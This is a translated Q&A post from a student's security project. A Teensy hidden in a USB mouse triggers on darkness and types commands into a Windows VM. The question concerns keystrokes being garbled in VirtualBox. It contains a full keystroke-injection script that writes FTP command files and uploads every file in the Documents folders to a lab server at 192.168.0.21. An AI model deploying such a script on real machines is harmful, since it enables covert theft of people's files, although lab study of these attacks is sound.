VirtualBox Keystroke获得随机更改

时间:2016-01-04 16:02:33

标签: virtual-machine mouse virtualbox keystroke teensy

我有一个关于它安全性的学校项目。我的工作是定制带有USB集线器的硬件鼠标,并对其进行编程。

青少年时代码在天黑时会被执行(光敏电阻)。该代码获取win7 vm上的一些文件,并将它们上传到kali vm上托管的Apache2服务器(通过win7 vm中的cmd命令)。在vmware中一切正常,但我必须在我的项目中使用virtualbox。

我现在的问题是,在virtualbox中,cmd命令会随机更改,例如:某些字母从小写变为大写,导致路径错误,导致无法找到文件,或者有时会丢失反斜杠,这也会导致错误的道路。

就像我在虚拟机中所说的那样,在vmware中我的整个项目运行得很好,所以我认为它不是硬件问题

我使用最新的虚拟机版本5.0.12

这是(不是实际的)我的青少年剧本的样本

CommandAtRunBarMSWIN("cmd");
    delay(1500);
    Keyboard.println("echo cd upload > C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo prompt off >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mput C:\\Users\\user\\Documents\\*.* >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd upload > \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo prompt off >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mput \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\*.*\" >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("ftp -A -s:C:\\Users\\user\\Documents\\ftp.txt 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("ftp -A -s:\"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\" 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("exit");

1 个答案:

答案 0 :(得分:0)

我发现了问题所在。我忘了手动将Virtual Box中的USB Teensy与复选框绑定在一起,所以我认为它有一些驱动程序问题和我不知道的东西。

只要我在运行它之前总是在虚拟框中手动绑定它,它现在可以正常工作。